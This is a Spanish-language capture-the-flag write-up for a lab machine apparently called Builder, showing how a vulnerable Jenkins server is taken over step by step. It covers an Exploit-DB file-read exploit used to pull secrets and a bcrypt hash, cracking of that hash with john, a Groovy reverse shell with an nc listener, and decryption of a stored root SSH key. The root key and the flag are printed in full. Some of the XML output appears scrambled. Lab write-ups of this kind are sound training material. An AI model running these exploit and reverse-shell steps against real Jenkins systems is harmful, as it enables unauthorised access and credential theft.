

Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Puerto 8080

Si analizamos las credenciales desde la pagina vemos que hay 2 usuarios `anonymous` y `jennifer`, pero nos interesa el usuario `jennifer`...

Dentro de este puerto encontraremos una pagina Jenkins la cual tiene una version vulnerable por un exploit, cogemos ese exploit en la siguiente URL...

URL: <https://www.exploit-db.com/exploits/51993>

Nos lo descargamos y si ponemos lo siguiente con este exploit...

```
python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/secrets/master.key
```

Info:

```
3e3a8909d274de18b90e8d41789423c041dae2b1132514ac43b9714d62305dfba277b5bcec3a06339d9f1
11e902b64d063bf2eb322eb641edb846e6c019c95cbc38b849fcc2085d5f220c5b6e5468f97d0397502c6
afc5a9a1375d346cd0adf08ebc377f48124b9422e91beb5596cdec72886d7c7e3816a8c488e027039434
7
```

Este `hash` lo veremos mas adelante...

Mientras tanto vamos a lo importante haciendo lo siguiente...

```
python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/users/users.xml
```

Info:

```
<?xml version='1.1' encoding='UTF-8'?>
  <string>jennifer_12108429903186576833</string>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>jennifer</string>
      <version>1</version>
    </hudson.model.UserIdMapper>
  </idToDirectoryNameMap>
</hudson.model.UserIdMapper>
  </entry>
```

Viendo que la `home` de jennifer es `jennifer_12108429903186576833` hacemos lo siguiente...

```
python3 51993.py -u http://<IP>:8080/ -p
/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
```

Info:

```
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">
  <hudson.search.UserSearchProperty>
    <roles>
      <jenkins.security.seed.UserSeedProperty>
        </tokenStore>
      </hudson.search.UserSearchProperty>
    <timeZoneName></timeZoneName>
```

```

<properties>
  <jenkins.security.LastGrantedAuthoritiesProperty>
    <flags/>
  <hudson.model.MyViewsProperty>
</user>
  </jenkins.security.ApiTokenProperty>
  <views>
    <string>authenticated</string>
  <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty
plugin="display-url-api@2.200.vb_9327d658781">
<user>
  <name>all</name>
<description></description>
  <emailAddress>jennifer@builder.htb</emailAddress>
  <collapsed/>
</jenkins.security.seed.UserSeedProperty>
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
</hudson.model.MyViewsProperty>
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
  <filterQueue>false</filterQueue>
<jenkins.security.ApiTokenProperty>
  <primaryViewName></primaryViewName>
</views>
</hudson.model.TimeZoneProperty>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-
UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">
</hudson.model.PaneStatusProperties>
</hudson.tasks.Mailer_-UserProperty>
  <tokenList/>
<jenkins.console.ConsoleUrlProviderUserProperty/>
</hudson.model.AllView>
  <timestamp>1707318554385</timestamp>
  <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
</properties>
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-
UserCredentialsProperty>
  <hudson.security.HudsonPrivateSecurityRealm_-Details>
    <insensitiveSearch>true</insensitiveSearch>
    <properties class="hudson.model.View$PropertyList"/>
  <hudson.model.TimeZoneProperty>
    <hudson.model.AllView>
  </hudson.security.HudsonPrivateSecurityRealm_-Details>
  <providerId>default</providerId>
  </roles>
</jenkins.security.LastGrantedAuthoritiesProperty>
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
<hudson.model.PaneStatusProperties>
<?xml version='1.1' encoding='UTF-8'?>
  <fullName>jennifer</fullName>
  <seed>6841d11dc1de101d</seed>
<id>jennifer</id>
<version>10</version>
  <tokenStore>
  <filterExecutors>false</filterExecutors>

```

```
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-  
manager@215.vc1ff18d67920"/>  
  
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</  
passwordHash>
```

Por lo que se ve el usuario es **jennifer** y la password es un **hash**, para crackear ese hash hacemos lo siguiente...

```
john --wordlist=<WORDLIST> <HASH_FILE>
```

Info:

```
Using default input encoding: UTF-8  
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])  
Cost 1 (iteration count) is 1024 for all loaded hashes  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
princess      (?)  
1g 0:00:00:00 DONE (2024-05-14 13:14) 4.545g/s 163.6p/s 163.6c/s 163.6C/s  
123456..liverpool  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.  
  
User = jennifer  
  
Pass = princess
```

Con estas credenciales nos conectamos a la pagina de jenkins y dentro de la sesion con jennifer hacemos lo siguiente...

Nos vamos a **manage** de ahi le damos a **script console** y dentro de esa especie de texto plano introducimos una Reverse Shell de la siguiente manera...

```
String host='<IP>';  
  
int port=<PORT>;  
  
String cmd='bash';  
  
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new  
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),  
si=s.getInputStream();OutputStream  
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available  
>0)so.write(pi.read());while(pe.available>0)so.write(pe.read());while(si.availabl  
e>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try  
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();  
  
nc -lvnp <PORT>
```

Y seriamos el usuario **Jenkins**, sanitizamos la shell...

```
script /dev/null -c bash  
  
# <Ctrl> + <z>  
stty raw -echo; fg  
reset xterm  
export TERM=xterm
```

```
# Para ver las dimensiones de nuestra consola en el Host
stty size
```

```
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Tendriamos la shell perfecta ya, pero por lo que vemos estamos en un **doker** por lo que vemos aqui...

```
jenkins@0f52c222a4cc:/$
```

```
==> 0f52c222a4cc
```

Si vamos al siguiente archivo llamado **credentials.xml** y lo leemos...

```
<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider
plugin="credentials@1319.v7eb_51b_3a_c97b_">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
plugin="ssh-credentials@308.ve4497b_ccd8f4">
          <scope>GLOBAL</scope>
          <id>1</id>
          <description></description>
          <username>root</username>
          <usernameSecret>false</usernameSecret>
          <privateKeySource
class="com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPrivateKeySource">
            <privateKey>{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUD
ZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb81UYkf/XSuDhR5tIpVwWkk7l1FTYwQQ1/i5MOTww3b1QNzIAIv4
1KLKDgsq4WUAS5RBt40Z7v410VZgdVDDciihmdDmqdsiGUOfubePU9a4tQoED2uUHAwbPlduIXaAFDs77evLh
98/INI8o/A+r1X6ehT0K40cD3NBEF/4Adl6BOQ/NSWquI5xTmmEBi3NqpWttJl1q9so0zFV0C4mhQiGIYr8T
PDbpdrfsgjGNKTzIppPmRr+j5ym5noOP/LVw09+AoEYvzrVKlN7MWY0oUSQd+C9iXGxTgxSLWdIeCALzz9GH
uN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgJgEVEd4stcmtUOfqXU/gezb/oh0Rko9tumajwLpQr
LxbAycC6xgOuk/leKf1gkD0Emra07uiy2QBIihQbMKt5Ls+l+FLlqlcY41PD+3Qwki5UfNHxQckFVWJQA0zfG
vkRpyew2K60SoLjpnSrwUWCx/hMGtvvoHApudWsGz4esi3kfkj+I/j4MbLCakYjfDRLVtrHXgzWkZG/Ao+7qF
dcQbimVgR0rncCwy1dwU5wtUEeyTlFRbjxXtIwrYIX94+0thX8n74WI1H0/3rix6a4FcUROyjRE9m//dGnigK
tdFdIjqkGkK0PNCfpcgw9KcafUyLe4lXksAjf/MU4v1yqbhX0F14Q3u2IWTk1+xv2FUUMXx0EzAQ2KtXvcyQL
A9BXmqC0VWKNpqw1GAfQWKPEN8g/zYT7TFA9kpYlAzjsf6Lrk4Cflaa9xR7l4pSgvBJYOeuQ8x2Xfh+AitJ6A
M07K8o36iwQVZ8+p/I7IGPDQHMHZvobRBZ92QGpcq0BDqUpPQqRMZc3wN63vCMxzABeqqg9Q02J6jqlKUgpu
zHD27L9REOfYbsi/uM3ELI7NdO90DmrBNp2y0AmOBx0c9e90R0oc+Tx2K0JlEPIJSCBB0m0kMr5H4EXQsu9Cv
TSb/Gd3xmrk+rCFJx3UJ6yzjcmAHBNIolWvSxSi7wZrQl40WuxagsG10YbxHzjqgokTa0VSv0mtiilt0/NSOr
ucozJFUCp7p8v73ywr6tTuR6kmyTGjhKqAKoybMWq4geDOM/6nMTJP1Z9mA+778Wgc7EYpwJQlMKnrk0bf08r
EdhrrJoJ7a4No2FDridFt68HNqAATBnoZrlCzELhvCicvLgNur+ZhjEqDnsIW94bL5hRWANdV4YzBtFxCW29L
J6/LtTSw9LE2to3i1sexiLP8y9FxamowPWRDxgn9lv9ktcoMhma72icQAFfWNSpieB8Y7TQOYBhcxpS2M3mRJ
tzUbe4Wx+MjrJLbZSsf/Z1bxETbd4dh4ub7QWncVxLZWPvTGix+JClnn/oiMeFHOFazmYLjJG6pTustU6PJXu
3t4Yktg8Z6tk8ev9QVoPnq/XmZY2h5MgCoc/T0D6iRR2X249+9lTU5Ppm8BvnNHAQ31Pzx178G3IO+ziC2DfT
cT++SAUS/VR9T3TnBeMQFsv9GKlYjvgKTd6Rx+oX+D2sN1WKWHLp85g6DsufByTC3o/OZGSnjUmDpMAS6wg0Z
3bYcxzrTcj9pnR3jcywwPCGkjps03ZmEDtuU0XUthrs7EZzqCxELqf9aQWbpUswN8nVLPzqAGbBMQJQJHPmS4F
```

```

SjHXvgFHNTWjeg0yRgf7cVaD0aQXDzTZewm3dcLomYJe2xfrKNLkBA/t3le35+bH0Se/p7PrbvOv/jlxBenvQ
Y+2GGoCHs7SW0oaYjGnd7QXUomZxK6l7vmwGoJi+R/D+ujAB1/5JcrH8fI0mP8Z+ZoJrziMF2bhpR1vcOSiDq
0+Bpk7yb8AIikCDOW5XlXqnX7C+I6mN0nyGtuanEhiJSFVqQ3R+MrGbMwRzzQmtfQ5G34m67Gvz1lIQMHYQvw
FeFtx4GHRlmlQGBXEGLz6H1Vi5jPuM2AVNMCNCak45l/9PltdJrz+Uq/d+LXcnYfKagEN39ekTPpkQrCV+P0S
65y4l1VFE1mX45CR4Qvxa1ZA4qjJqTnZP4s/YD1Ix+XfcJDpKpksvCnN5/ubVJzBKLEHS0oKwiyNHEwdkD9j8
Dg9y88G8xrc7jr+ZcZtHSJRlK1o+VaeN0SeQut3iZjmpy0Ko1ZiC8gFsVJg8nWLcat10cp+XTy+fJ1VyIMHXU
WrZu+duVApFYp16ji8A4bUxkroMMgyPdQU8rjJwhMGEP7TcWQ4Uw2s6xoQ7nRG0UuLH4Qf10qzC6ref7n33gs
z18XASxjBg6eUIw9Z9s5lZyDH1SZ04jI25B+GgZjbe7UYoAX13MnVMstYK0xKnaig2Rnb19NsGgnVuTDlAgS0
2pc1Pnxj1gCBS+bsxewgm6cNR18/ZT4ZT+YT1+uk5Q304tBF6z/M67mRdQqQqWRfgA5x0AEJvAEb2dftvR98h
o8cRMVw/0S3T60reiB/OoYrt/IhW0cvIoo4M92eo5CduZnajt4onOCTC13kMqTwdqC36cDxuX5aDD0EE920Da
aLxTfZ1Id4ukCrscAo0ZtCMxncK9uv06kWPYZPMUasVQLEdDW+DixC2EnXT56IELG5xj3/1nqnjieMhavTt5yi
pvfNJfbFMqjHjHBLDY/MckU89l6p/xk6JMH+9SWaFlTkjwshZDA/o0/E9Pump5GkqMIw3V/701fR0/dR/Rq3R
dCtmdb3bWQKIXdYSB1XgBLnVC7090Tf12P0+DMQ1UrT7PcGF22dqAe6VfTH8wFqmDqidhEdKiZYIFf0he9+u3
00XPZldMzaSLj8Zy5hGCPaRS613b7MZ8JjqaFGWZuzurecXUiXiUg0M9/1WyECyRq6FcFztza+q5t94IPny
PTqmUYTmZ9wZgmhoxUjWm2AenjkkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzIp3FhIOcxqmlJQ2SgsgTStzF
Zz47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdjafE5u5hqZM1vTxRLU1G7Rr/yxmma5mAHGeIXHTWRHYSwn9go
noSBFAAXvj0bZjTeNBAmU8eh6RI6pdapVLeQ0tEiw0u4vB/7mgxJrVfFWbN6w8AMrJBdrFzjENnvcq0qmmNug
MAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZvUPm0hDfdx09JIL6FFpaodsm1ksTPz366bc
OcNONXSxuD0fJ5+WVvReTFdi+agF+sF2jk0hGTjc7pGAg2z110084PzXW1TkN2yD9YHgo9xYa8E2k6pYSpVxx
YlRogfz9exupYVievBPKqnKo1Qoi15+eunzHKrxm3WQssFMcYcdYH1JtWcbgrKChsFys4oUE7iW0YQ0MsAdcg
/hWuBX878aR+/3HsHaB10TicTxtaaMR8IMMaKSM=}</privateKey>
</privateKeySource>
</com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey>
</java.util.concurrent.CopyOnWriteArrayList>
</entry>
</domainCredentialsMap>

```

Y esa key de **root** si hacemos lo siguiente para desencriptar esa **key** tendríamos que ir a la pagina de Jenkins, dirigirnos a la seccion de **/Manage Jenkins/Script Console** y dentro de este panel debemos de escribir lo siguiente...

```

println(
hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5fr
ZLuo4qcqH61hjEuDZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVwvkk7l1FTYwQQ1/i5
MOTww3b1QNzIAIv41KLKDGsq4WUAS5RBt40Z7v410VZgdVDDciihmdDmqdsiGUOFubePU9a4tQoED2uUHAwBP
lduIXaAfDs77evLh98/INI8o/A+r1X6ehT0K40cD3NBEF/4Adl6BOQ/NSWquI5xTmmEBi3NqpWttJl1q9so0
zFV0C4mhQigiYr8TPDbpdRfsgjGNKTzIpjPPmRr+j5ym5noOP/LVw09+AoEYvzrVKlN7MWY0oUsQd+C9iXGxT
gxSLWdIeCALzz9GHuN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgJgEVeD4stcmtUOFqXU/gezb/o
h0Rko9tumajwLpQrLxbAycC6xgOuk/leKf1gkDOEmra07uiy2QBiihQbMKt5Ls+l+FLlqlcY4lPD+3Qwki5Uf
NHxQckFVWJQA0zfGvkRpyew2K60SoLjpnSrwUWCx/hMGtvoHApudWsGz4esi3kfKj+I/j4MbLCakYjfdRLvt
rHXgzWkZG/Ao+7qFdcQbimVgR0rncCwy1dwU5wtUEeyTlFRbjxXtIwrYIx94+0thX8n74WI1HO/3rix6a4FcU
ROyjRE9m//dGnigKtdFdIjqkGkK0PNCfpcgw9KcaFuYle4lXksAjf/MU4v1yqbhX0F14Q3u2IWTkl+Xv2FUUm
Xx0EzAQ2KtXvcyQLA9BXmqC0VWKNpqw1GAfQWKPEN8g/zYT7TFA9kpYlAzjsf6Lrk4Cflaa9xR7l4pSgvBJYO
euQ8x2Xfh+AitJ6AM07K8o36iwQVZ8+p/I7IGPDQHMHMZvobRBZ92QGPcq0BDqUpPQqRMZc3wN63vCMxzABeq
qg9Q02J6jqlKUGpuzHD27L9RE0FYbsi/uM3ELI7Nd090DmrBNp2y0Am0Bx0c9e9Or0oc+Tx2K0JLEPIJSCBB0
m0kMr5H4EXQsu9CvTSb/Gd3xmrk+rCFJx3UJ6yzjcmAHBNIolWvSxSi7wZrQl40WuxagsG10YbxHzjqgoKtaO
VSv0mtiilt0/NSOrucozJFUCp7p8v73ywR6tTuR6kmyTGjhKqAKoybMWq4geDOM/6nMTJP1Z9ma+778Wgc7EY
pwJQlMknrk0bf08rEdhrrJoJ7a4No2FDridFt68HNqAATBnoZr1CzELhVCicvLgNur+ZhjEqDnsIW94bL5hRW
ANdV4YzBtFxCW29LJ6/LtTSw9LE2to3i1sexilP8y9FxamowPWRDxgn9lv9ktcoMhmA72icQAFfWNSpieB8Y7
TQOYBhcxpS2M3mrJtzUbe4Wx+MjrJLbZSsf/Z1bxEtbd4dh4ub7QWncVxLZWPvTGix+JClnn/oiMeFHOFAzmY
LjJG6pTustU6PJXu3t4Yktg8Z6tk8ev9QVoPnq/XmZY2h5MgCoc/T0D6iRR2X249+9lTU5Ppm8BvnNHAQ31Pz
x178G3IO+ziC2DfTcT++SAUS/VR9T3TnBeMQFsv9GKlYjvgKTd6Rx+oX+D2sN1WKWHLp85g6DsufByTC3o/OZ
GSnjUmDpMas6wg0Z3bYcxzrTcj9pnR3jcywWPCGkjps03ZmEDtuU0XUthrs7EZzqCxEllqf9aQWbpUswN8nVLP
zqAGbBMQQJHPmS4FSjHXvgFHNTWjeg0yRgf7cVaD0aQXDzTZewm3dcLomYJe2xfrKNLkBA/t3le35+bH0Se/p
7PrbvOv/jlxBenvQY+2GGoCHs7SW0oaYjGnd7QXUomZxK6l7vmwGoJi+R/D+ujAB1/5JcrH8fI0mP8Z+ZoJrz

```

iMF2bhpr1vcOSiDq0+Bpk7yb8AIikCDOW5XlXqnX7C+I6mN0nyGtuanEhiJSFVqQ3R+MrGbMwRzzQmtfQ5G34
m67Gvz11IQMHyQvwFeFtx4GHRlmlQGBXEGlZ6H1Vi5jPuM2AVNMCNCak451/9PltdJrz+Uq/d+LXcnYfKagEN
39ekTPpkQrCV+P0S65y411VFE1mX45CR4Qvxa1ZA4qjJqTnZP4s/YD1Ix+XfcJDpKpksvCnN5/ubVJzBkLEHS
OokWiyNHEwdkD9j8Dg9y88G8xrc7jr+ZcZtHSJRlK1o+VaeN0SeQut3iZjumpy0Ko1ZiC8gFsVJg8nWLCat10c
p+xTy+fJ1VyIMHxUWrZu+duVApFYp16ji8A4bUxkroMMgyPdQU8rjJwhMGEP7TcWQ4Uw2s6xoQ7nRGOUuLH4Q
f1QqzC6ref7n33gsz18XASxjBg6eUIw9Z9s5lZyDH1SZ04jI25B+GgZjbe7UYoAX13MnVMstYK0xKnaig2Rnb
l9NsGgnVuTDlAgS02pclPnxj1gCBS+bsxewgm6cNR18/ZT4ZT+YT1+uk5Q304tBF6z/M67mRdQqQqWRfgA5x0
AEJvAEb2dftvR98ho8cRMVw/0S3T60reiB/OoYrt/IhW0cvIoo4M92eo5CduZnajt4onOCTC13kMqTwdqC36c
DxuX5aDD0Ee920DaaLxTfZ1Id4ukCrscao0ZtCMxncK9uv06kWPYZPMUasVQLEdDW+DixC2EnXT56IELG5xj3
/1nqnieMhavTt5yipvfnJfBFMqjHjHB1DY/MckU89l6p/xk6JMH+9SWaFlTkjwshZDA/oO/E9Pump5GkqMIw3
V/701fRO/dR/Rq3RdCtmdb3bWQKIXdYSB1XgBLnVC7090Tf12P0+DMQ1UrT7PcGF22dqAe6VfTH8wFqmDqidh
EdKiZyIFf0he9+u300XPZldMzaSLjj8ZZy5hGCPaRS613b7M28JjqaFGWZUzurecXUiXiUg0M9/1wyECyRq6F
cfZtza+q5t94IPnyPTqmUYTmZ9wZgmhoxUjWm2AenjkkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzIp3FhIOc
xqm1JQ2SgsgTstzFz47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdjafeU5hqZM1vTxRLU1G7Rr/yxmma5mAH
GeIXHTWRHYSWn9gonoSBFAAXvj0bZjTeNBAmU8eh6RI6pdapVLEQ0tEiwOu4vB/7mgxJrVfFWbN6w8AMrJBdr
FzjENnvq0qmmNugMAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZvUPm0hDfdxdD9JIL6FFp
aodsm1ksTPz366bcOcNONXSxuD0fJ5+WVvReTFdi+agF+sF2jkOhGTjc7pGAg2z110084PzXW1TkN2yD9YHgo
9xYa8E2k6pYSpVxxYlRogfz9exupYVievBPKqnKo1Qoi15+eunzHKrxm3WQssFMcYCdYHlJtWcbgrKChsFys4
oUE7iW0YQ0MsAdcg/hWuBX878aR+/3HsHaB10TicTxtaaMR8IMMaKSM=}"))

Y esto nos da lo siguiente...

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
```

```
QMFbkG/t5z/YUA958Fubc6fuHSBb3D1P8A7HGk4fsxnXd1KqRWC8HMTSDKUP1JhPe2rqVG  
P3vbriPPT8CI7s2jf21LZ68tBL9VgHsFYw6xgyAI9k1+sW4s+pq6cMor++ICzT++CCMVmP  
iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGR1cgECAwQFBg==  
-----END OPENSSH PRIVATE KEY-----
```

Esto es una `id_rsa` privada de `root`, por lo que haremos lo siguiente...

```
chmod 600 id_rsa
```

```
ssh -i id_rsa root@<IP>
```

Por lo que ya seriamos `root` y leemos la flag...

```
root.txt (flag2)
```

```
6c6e52c46533b78e2c5d4d8d08473994
```